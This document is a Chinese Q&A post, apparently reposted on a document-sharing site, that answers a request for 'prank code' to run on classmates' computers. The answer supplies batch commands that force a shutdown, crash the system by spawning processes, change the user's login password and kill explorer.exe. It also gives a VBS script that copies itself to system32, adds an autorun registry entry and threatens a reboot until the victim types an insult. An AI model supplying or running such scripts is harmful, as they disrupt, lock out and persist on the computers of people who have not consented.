整人代码我想要一些整人的代码，一定要多，暑假无聊想跟同学开玩笑 希望大家尽量给我找多些，不要病毒，也不要太狠毒的,谢谢 问题补充： 最是记事本的，VB的也可以 最佳答案 楼主的VB是VBS把 先说批处理、 1.掉qq taskkill /im qq.exe /f /t 2.10秒强制关机（任务管理器无效） shutdown -s -t 10 3.死机 start cmd 0% 4.设置登录密码为2097152 net user "%username%" 2097152 5.让电脑只剩一个背景 taskkill /im /f...
我想要一些整人的代码，一定要多，暑假无聊想跟同学开玩笑 希望大家尽量给我找多些，不要病毒，也不要太狠毒的,谢谢 问题补充： 最是记事本的，VB的也可以 最佳答案 楼主的VB是VBS把 先说批处理、 1.掉qq taskkill /im qq.exe /f /t 2.10秒强制关机（任务管理器无效） shutdown -s -t 10 3.死机 start cmd 0% 4.设置登录密码为2097152 net user "%username%" 2097152 5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe VBS的 1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop 2.不断提示你是猪 do msgbox("你是猪") loop 这些够了不？ 2 n error resume next Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "ceshi.vbs" Key_data = "C:\windows\system32\ceshi.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪，不说我是猪就半分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪哦,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾" 另存为ceshi.vbs就行。
本文档为【整人代码】，请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑，
图片更改请在作品中右键图片并更换，文字修改请直接点击文字进行修改，也可以新增和删除文档中的内容。
该文档来自用户分享，如有侵权行为请发邮件ishare@vip.sina.com联系网站客服，我们会及时删除。
[版权声明] 本站所有资料为用户分享产生，若发现您的权利被侵害，请联系客服邮件isharekefu@iask.cn，我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权，请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传，仅限个人学习分享使用，禁止用于任何广告和商用目的。
浙公网安备 33021202002483